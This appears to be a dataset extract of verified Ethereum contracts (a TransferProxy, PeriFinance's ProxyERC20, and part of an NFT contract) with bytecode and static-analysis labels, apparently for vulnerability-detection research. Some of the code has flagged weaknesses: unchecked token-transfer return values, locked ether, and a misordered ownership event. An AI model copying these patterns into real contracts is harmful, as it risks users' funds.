The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_ids` argument MUST be the list of tokens being transferred.
The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
/**
@dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled).
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
@dev MUST emit when the URI is updated for a token ID.
URIs are defined in RFC 3986.
The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
*/
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
/**
@notice Get the balance of an account's Tokens.
@param _owner The address of the token holder
@param _id ID of the Token
@return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
@notice Get the balance of multiple account/token pairs
@param _owners The addresses of the token holders
@param _ids ID of the Tokens
@return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
@notice Queries the approval status of an operator for a given owner.
@param _owner The owner of the Tokens
@param _operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
event operatorChanged(address indexed from, address indexed to);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
address public operator;
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
modifier onlyOperator() {
require(operator == msg.sender, "OperatorRole: caller does not have the Operator role");
_;
}
/** change the OperatorRole from contract creator address to trade contractaddress
@param _operator :trade address
*/
function changeOperator(address _operator) public onlyOwner returns(bool) {
require(_operator != address(0), "Operator: new operator is the zero address");
operator = _operator;
emit operatorChanged(address(0),operator);
return true;
}
/** change the Ownership from current owner to newOwner address
@param newOwner : newOwner address */
function ownerTransfership(address newOwner) public onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
return true;
}
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator {
token.safeTransferFrom(from, to, tokenId, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e336600461059b565b610250565b6100fb6100f6366004610697565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105de565b610466565b6100fb610131366004610697565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d90610740565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103dc57600080fd5b505af11580156103f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041491906105be565b6104605760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104905760405162461bcd60e51b815260040161018d90610740565b604051637921219560e11b81526001600160a01b0388169063f242432a906104c6908990899089908990899089906004016106e7565b600060405180830381600087803b1580156104e057600080fd5b505af11580156104f4573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d90610740565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ac578081fd5b81356105b781610794565b9392505050565b6000602082840312156105cf578081fd5b815180151581146105b7578182fd5b600080600080600080600060c0888a0312156105f8578283fd5b873561060381610794565b9650602088013561061381610794565b9550604088013561062381610794565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561064d578384fd5b818a0191508a601f830112610660578384fd5b81358181111561066e578485fd5b8b602082850101111561067f578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ac578384fd5b84356106b781610794565b935060208501356106c781610794565b925060408501356106d781610794565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107a957600080fd5b5056fea2646970667358221220bca9fa2b2b5580bbcb3a98f22fdf1684f712a8782eadc4bcc39f6367b9a9bece64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 4,243 |
0x0A51952e61a990E585316cAA3d6D15C8d3e55976
|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
/*
Note:
This is a PROXY contract, it defers requests to its underlying TARGET contract.
Always use this address in your applications and never the TARGET as it is liable to change.
*//*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: ProxyERC20.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/ProxyERC20.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/ProxyERC20
*
* Contract Dependencies:
* - IERC20
* - Owned
* - Proxy
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
// https://docs.peri.finance/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// Inheritance
// https://docs.peri.finance/contracts/source/contracts/proxyerc20
contract ProxyERC20 is Proxy, IERC20 {
constructor(address _owner) public Proxy(_owner) {}
// ------------- ERC20 Details ------------- //
function name() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).name();
}
function symbol() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).symbol();
}
function decimals() public view returns (uint8) {
// Immutable static call from target contract
return IERC20(address(target)).decimals();
}
// ------------- ERC20 Interface ------------- //
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).totalSupply();
}
/**
* @dev Gets the balance of the specified address.
* @param account The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address account) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).balanceOf(account);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).allowance(owner, spender);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transfer(to, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).approve(spender, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transferFrom(from, to, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
}
|
0x6080604052600436106100f35760003560e01c8063776d1a011161008a57806395d89b411161005957806395d89b4114610473578063a9059cbb14610488578063d4b83992146104c1578063dd62ed3e146104d6576100f3565b8063776d1a011461038157806379ba5097146103b45780638da5cb5b146103c9578063907dff97146103de576100f3565b806323b872dd116100c657806323b872dd146102af578063313ce567146102f257806353a47bb71461031d57806370a082311461034e576100f3565b806306fdde031461017c578063095ea7b3146102065780631627540c1461025357806318160ddd14610288575b60025460408051635e33fc1960e11b815233600482015290516001600160a01b039092169163bc67f8329160248082019260009290919082900301818387803b15801561013f57600080fd5b505af1158015610153573d6000803e3d6000fd5b5050505060405136600082376000803683346002545af13d6000833e80610178573d82fd5b3d82f35b34801561018857600080fd5b50610191610511565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cb5781810151838201526020016101b3565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023f6004803603604081101561022957600080fd5b506001600160a01b038135169060200135610648565b604080519115158252519081900360200190f35b34801561025f57600080fd5b506102866004803603602081101561027657600080fd5b50356001600160a01b0316610736565b005b34801561029457600080fd5b5061029d610792565b60408051918252519081900360200190f35b3480156102bb57600080fd5b5061023f600480360360608110156102d257600080fd5b506001600160a01b03813581169160208101359091169060400135610808565b3480156102fe57600080fd5b506103076108ff565b6040805160ff9092168252519081900360200190f35b34801561032957600080fd5b50610332610944565b604080516001600160a01b039092168252519081900360200190f35b34801561035a57600080fd5b5061029d6004803603602081101561037157600080fd5b50356001600160a01b0316610953565b34801561038d57600080fd5b50610286600480360360208110156103a457600080fd5b50356001600160a01b03166109d6565b3480156103c057600080fd5b50610286610a32565b3480156103d557600080fd5b50610332610aee565b3480156103ea57600080fd5b50610286600480360360c081101561040157600080fd5b81019060208101813564010000000081111561041c57600080fd5b82018360208201111561042e57600080fd5b8035906020019184600183028401116401000000008311171561045057600080fd5b919350915080359060208101359060408101359060608101359060800135610afd565b34801561047f57600080fd5b50610191610c06565b34801561049457600080fd5b5061023f600480360360408110156104ab57600080fd5b506001600160a01b038135169060200135610c4b565b3480156104cd57600080fd5b50610332610d04565b3480156104e257600080fd5b5061029d600480360360408110156104f957600080fd5b506001600160a01b0381358116916020013516610d13565b600254604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b15801561055657600080fd5b505afa15801561056a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561059357600080fd5b81019080805160405193929190846401000000008211156105b357600080fd5b9083019060208201858111156105c857600080fd5b82516401000000008111828201881017156105e257600080fd5b82525081516020918201929091019080838360005b8381101561060f5781810151838201526020016105f7565b50505050905090810190601f16801561063c5780820380516001836020036101000a031916815260200191505b50604052505050905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b50506002546040805163095ea7b360e01b81526001600160a01b03888116600483015260248201889052915191909216935063095ea7b3925060448083019260209291908290030181600087803b15801561070157600080fd5b505af1158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b506001949350505050565b61073e610d9f565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156107d757600080fd5b505afa1580156107eb573d6000803e3d6000fd5b505050506040513d602081101561080157600080fd5b5051905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561085357600080fd5b505af1158015610867573d6000803e3d6000fd5b5050600254604080516323b872dd60e01b81526001600160a01b03898116600483015288811660248301526044820188905291519190921693506323b872dd925060648083019260209291908290030181600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b50600195945050505050565b6002546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b1580156107d757600080fd5b6001546001600160a01b031681565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156109a457600080fd5b505afa1580156109b8573d6000803e3d6000fd5b505050506040513d60208110156109ce57600080fd5b505192915050565b6109de610d9f565b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f814250a3b8c79fcbe2ead2c131c952a278491c8f4322a79fe84b5040a810373e9181900360200190a150565b6001546001600160a01b03163314610a7b5760405162461bcd60e51b8152600401808060200182810382526035815260200180610deb6035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b6002546001600160a01b03163314610b53576040805162461bcd60e51b8152602060048201526014602482015273135d5cdd081899481c1c9bde1e481d185c99d95d60621b604482015290519081900360640190fd5b604080516020601f89018190048102820181019092528781528791606091908a908490819084018382808284376000920191909152509293508992505081159050610bbd5760018114610bc85760028114610bd45760038114610be15760048114610bef57610bfa565b8260208301a0610bfa565b868360208401a1610bfa565b85878460208501a2610bfa565b8486888560208601a3610bfa565b838587898660208701a45b50505050505050505050565b600254604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b15801561055657600080fd5b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b158015610c9657600080fd5b505af1158015610caa573d6000803e3d6000fd5b50506002546040805163a9059cbb60e01b81526001600160a01b03888116600483015260248201889052915191909216935063a9059cbb925060448083019260209291908290030181600087803b15801561070157600080fd5b6002546001600160a01b031681565b60025460408051636eb1769f60e11b81526001600160a01b03858116600483015284811660248301529151600093929092169163dd62ed3e91604480820192602092909190829003018186803b158015610d6c57600080fd5b505afa158015610d80573d6000803e3d6000fd5b505050506040513d6020811015610d9657600080fd5b50519392505050565b6000546001600160a01b03163314610de85760405162461bcd60e51b815260040180806020018281038252602f815260200180610e20602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a7231582014234bdf23a9e13be01dabfcb4244b77b06c8e6fb6cd8c7388bd4ac9360ce31364736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,244 |
0x4ffccc4534c3e890db39456d34acaff5b9989b8e
|
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
// SPDX-License-Identifier:UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
